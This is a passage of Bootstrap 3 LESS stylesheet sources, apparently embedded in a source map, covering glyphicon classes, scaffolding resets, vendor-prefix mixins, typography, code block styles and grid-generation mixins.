}\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content/\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n// Upstream patch for normalize.css submitted: https://github.com/necolas/normalize.css/pull/379 - remove this fix once that is merged\n\n[role=\"button\"] {\n cursor: pointer;\n}","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They will be removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility){\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // Default\n outline: thin dotted;\n // WebKit\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @grid-float-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n .make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: (@gutter / -2);\n margin-right: (@gutter / -2);\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: (@grid-gutter-width / 2);\n padding-right: (@grid-gutter-width / 2);\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n 